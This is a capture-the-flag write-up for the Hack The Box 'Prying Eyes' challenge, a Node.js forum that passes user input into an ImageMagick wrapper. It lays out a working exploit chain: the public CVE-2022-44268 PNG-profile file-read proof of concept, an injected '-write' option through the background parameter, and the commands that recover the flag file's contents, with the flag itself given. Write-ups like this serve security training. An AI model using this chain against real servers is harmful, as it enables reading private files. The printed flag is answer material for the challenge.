Tags

Prying Eyes

Description

Welcome to the Prying Eyes, a “safe space” for those curious about the large organisations that dominate our life. How safe is the site really?

Provided code

auth.js

const express = require("express");
    const { RedirectIfAuthed } = require("../middleware/AuthMiddleware");
    const ValidationMiddleware = require("../middleware/ValidationMiddleware");
    const { render } = require("../utils");
    
    const router = express.Router();
    let db;
    
    router.get("/login", RedirectIfAuthed, function (req, res) {
      render(req, res, "login.html");
    });
    
    router.post("/login", RedirectIfAuthed, ValidationMiddleware("login", "/auth/login"), async function (req, res) {
      const user = await db.loginUser(req.body.username, req.body.password);
      if (!user) {
        req.flashError("Please specify a valid username and password.");
        return res.redirect("/auth/login");
      }
    
      req.session = {
        flashes: {
          success: [],
          error: [],
        },
        userId: user.id,
      };
    
      req.flashSuccess("You are now logged in.");
      return res.redirect("/forum");
    });
    
    router.get("/register", RedirectIfAuthed, function (req, res) {
      render(req, res, "register.html");
    });
    
    router.post("/register", RedirectIfAuthed, ValidationMiddleware("register", "/auth/register"), async function (req, res) {
      const user = await db.getUserByUsername(req.body.username);
      if (user) {
        req.flashError("That username already exists.");
        return res.redirect("/auth/register");
      }
      await db.registerUser(req.body.username, req.body.password);
    
      req.flashSuccess("You are now registered.");
      return res.redirect("/auth/login");
    });
    
    router.get("/logout", function (req, res) {
      req.session.userId = null;
    
      req.flashSuccess("You have been logged out.");
      return res.redirect("/forum");
    });
    
    module.exports = (database) => {
      db = database;
      return router;
    };
    
    

forum.js

const express = require("express");
    const { AuthRequired } = require("../middleware/AuthMiddleware");
    const fileUpload = require("express-fileupload");
    const fs = require("fs/promises");
    const path = require("path");
    const { convert } = require("imagemagick-convert");
    const { render } = require("../utils");
    const ValidationMiddleware = require("../middleware/ValidationMiddleware");
    const { randomBytes } = require("node:crypto");
    
    const router = express.Router();
    let db;
    
    router.get("/", async function (req, res) {
      render(req, res, "forum.html", { posts: await db.getPosts() });
    });
    
    router.get("/new", AuthRequired, async function (req, res) {
      render(req, res, "new.html");
    });
    
    router.get("/post/:parentId", AuthRequired, async function (req, res) {
      const { parentId } = req.params;
    
      const parent = await db.getPost(parentId);
    
      if (!parent || parent.parentId) {
        req.flashError("That post doesn't seem to exist.");
        return res.redirect("/forum");
      }
      render(req, res, "post.html", { parent, posts: await db.getThread(parentId) });
    });
    
    router.post(
      "/post",
      AuthRequired,
      fileUpload({
        limits: {
          fileSize: 2 * 1024 * 1024,
        },
      }),
      ValidationMiddleware("post", "/forum"),
      async function (req, res) {
        const { title, message, parentId, ...convertParams } = req.body;
        if (parentId) {
          const parentPost = await db.getPost(parentId);
    
          if (!parentPost) {
            req.flashError("That post doesn't seem to exist.");
            return res.redirect("/forum");
          }
        }
    
        let attachedImage = null;
    
        if (req.files && req.files.image) {
          const fileName = randomBytes(16).toString("hex");
          const filePath = path.join(__dirname, "..", "uploads", fileName);
    
          try {
            const processedImage = await convert({
              ...convertParams,
              srcData: req.files.image.data,
              format: "AVIF",
            });
    
            await fs.writeFile(filePath, processedImage);
    
            attachedImage = `/uploads/${fileName}`;
          } catch (error) {
            req.flashError("There was an issue processing your image, please try again.");
            console.error("Error occured while processing image:", error);
            return res.redirect("/forum");
          }
        }
    
        const { lastID: postId } = await db.createPost(req.session.userId, parentId, title, message, attachedImage);
    
        if (parentId) {
          return res.redirect(`/forum/post/${parentId}#post-${postId}`);
        } else {
          return res.redirect(`/forum/post/${postId}`);
        }
      }
    );
    
    module.exports = (database) => {
      db = database;
      return router;
    };
    

Methodology

It’s a simple forum where people can create posts and comment on other peoples posts. Goal is to read the flag.txt in root of the project /home/node/app/.
In Dockerfile we can see the app installs ImageMagick-7.1.0-33 and in forum.js this program is used in a wrapper library.

forum.js

...
    const { convert } = require("imagemagick-convert");
    ...
    

https://www.npmjs.com/package/imagemagick-convert

Node.js wrapper for ImageMagick CLI for simple converting images.

So when the app uses convert() method, the library simple calls the CLI program. This program has a vulnerability however CVE-2022-44268.

When I upload an image to with a comment, the app converts it to AVIF format and uploads it into /uploads directory. The conversion happens with vulnerable ImageMagick-7.1.0-33, where we inject a filepath we want to read into PNG Profile element of the image. ImageMagick fetches this file and writes its content into the converted image.

forum.js

...
    const processedImage = await convert({
              ...convertParams,
              srcData: req.files.image.data,
              format: "AVIF",
            });
    
    await fs.writeFile(filePath, processedImage);
    ...
    

The caveat is that this happens only with PNG -> PNG conversion and not with PNG -> AVIF.
The second part of the attack is to figure out how to output PNG file from this conversion.

Remember the library used is just a wrapper to CLI ImageMagick which has an interesting cmd option.

-write <filename>
                  write an intermediate image [convert, composite]
    
                  The current image is written to the specified filename and then processing continues using that image. The following is an example of how several sizes of an image may be generated in one command (repeat as often as needed):
    
                      gm convert input.jpg -resize 50% -write input50.jpg \
                                -resize 25% input25.jpg
    

And since the app uses a JS spread operator ...convertParams we can possibly inject -write parameter to CMD line and write our own PNG file to the filesystem.

params

Since we want to inject a string our only options is to use the background parameter from the library.
When we do this successfuly, a PNG with filecontent should be ready to download and decode the embeded file contents.

Exploit

I used this poc to generate payload.
https://github.com/Sybil-Scan/imagemagick-lfi-poc/blob/main/generate.py

$ generate.py -f /home/node/app/flag.txt -o flag.png
    $ identify -verbose flag.png
    Image: flag.png
      Format: PNG (Portable Network Graphics)
      Geometry: 255x255
      Class: DirectClass
      Type: true color
      Depth: 8 bits-per-pixel component
      Channel Depths:
        Red:      8 bits
        Green:    8 bits
        Blue:     8 bits
      Channel Statistics:
        Red:
          Minimum:                     0.00 (0.0000)
          Maximum:                 65278.00 (0.9961)
          Mean:                    32639.00 (0.4980)
          Standard Deviation:      18918.32 (0.2887)
        Green:
          Minimum:                     0.00 (0.0000)
          Maximum:                 65535.00 (1.0000)
          Mean:                    11051.34 (0.1686)
          Standard Deviation:      15537.58 (0.2371)
        Blue:
          Minimum:                     0.00 (0.0000)
          Maximum:                 65278.00 (0.9961)
          Mean:                    32639.00 (0.4980)
          Standard Deviation:      18918.32 (0.2887)
      Filesize: 1.2Ki
      Interlace: No
      Orientation: Unknown
      Background Color: white
      Border Color: #DFDFDF
      Matte Color: #BDBDBD
      Page geometry: 255x255+0+0
      Compose: Over
      Dispose: Undefined
      Iterations: 0
      Compression: Zip
      Png:IHDR.color-type-orig: 2
      Png:IHDR.bit-depth-orig: 8
      Profile: /home/node/app/flag.txt
      Signature: ddff23343c78d021bc46831d648fdf745d97484ed75faad33cda1909f01c00ab
      Tainted: False
      Elapsed Time: 0m:0.003455s
      Pixels Per Second: 18.0Mi
    

Then we create a comment with generate PNG and add background parameter like this.

backgroung

After that, download the file from /uploads directory.
Now use exiftool to get hex content of the file. Don’t use identify command because it won’t show the contents of the file.

$ exiftool flag_out.png -b o.bin
    Warning: [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers) - flag_out.png
    12.76flag_out.png.14902024:05:11 20:12:54+02:002024:05:14 19:28:31+02:002024:05:11 20:14:45+02:00100644PNGPNGimage/png255255820002.20.31270.3290.640.330.30.60.150.06255 0 06006000
    txt
          36
    4854427b496d3467336d346731636b5f7655316e355f357452316b335f346734696e7d0a
    Error: File not found - o.bin
    [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)2024-05-11T18:12:37+00:002024-05-11T18:12:37+00:00255 2550.065025
    

Loot

Now decode hex.

$ python3 -c 'print(bytes.fromhex("4854427b496d3467336d346731636b5f7655316e355f357452316b335f346734696e7d0a").decode("utf-8"))'
    
    HTB{Im4g3m4g1ck_vU1n5_5tR1k3_4g4in}
    

Flag

HTB{Im4g3m4g1ck_vU1n5_5tR1k3_4g4in}